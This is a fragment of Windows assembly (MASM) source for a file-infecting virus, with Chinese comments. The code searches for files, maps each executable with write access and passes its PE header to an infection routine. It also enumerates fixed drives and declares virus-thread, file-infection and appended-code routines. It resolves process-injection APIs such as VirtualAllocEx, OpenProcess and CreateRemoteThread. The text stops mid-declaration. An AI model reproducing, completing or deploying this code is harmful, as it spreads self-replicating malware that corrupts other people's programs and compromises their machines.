;****************** 是文件 ***************************
;invoke MessageBox, NULL, addr
@szFindFile, NULL, MB_OK
invoke CreateFile, addr @szFindFile,
GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ or FILE_SHARE_WRITE,
NULL, OPEN_EXISTING ,NULL , NULL
mov hFile, eax
invoke CreateFileMapping, hFile, NULL,
PAGE_READWRITE , 0, 0, NULL
invoke MapViewOfFile, eax,
FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0
.if !eax
jmp _ExitOpen
.endif
mov lpMemory, eax
mov esi, eax
assume esi: ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
invoke _Infect, lpMemory, esi
invoke CloseHandle, hFile
;******************************************************
.endif
_ExitOpen:
invoke FindNextFile,@hFindFile,addr @stFindFile
.until eax == FALSE
invoke FindClose,@hFindFile
.endif
popad
ret
_FindFile
endp
start:
;*********************** 获取全部磁盘 *************************
invoke _FindFile, offset szFindFileName
invoke GetLogicalDriveStrings, 26 * 4, offset szBuffer1
lea esi, szBuffer1
mov edi, 26
.repeat
invoke GetDriveType, esi
.if eax == DRIVE_FIXED ;硬盘
.endif
add esi, 4
dec edi
.until !byte ptr [esi]
_Exit:
invoke ExitProcess, 0
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include AddFunDef.inc
_VirusThread proto :dword
_Align proto :dword,:dword
_FindFile1 proto :dword
_InfectFile proto :dword
APPEND_CODE equ this byte
include GetKernel1.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
;********************* Kernel32函数定义 *****************************
_ExitProcess _ApiExitProcess ?
_VirtualAllocEx _ApiVirtualAllocEx ?
_CreateRemoteThread _ApiCreateRemoteThread
?
_CreateThread _ApiCreateThread ?
_OpenProcess _ApiOpenProcess ?
I
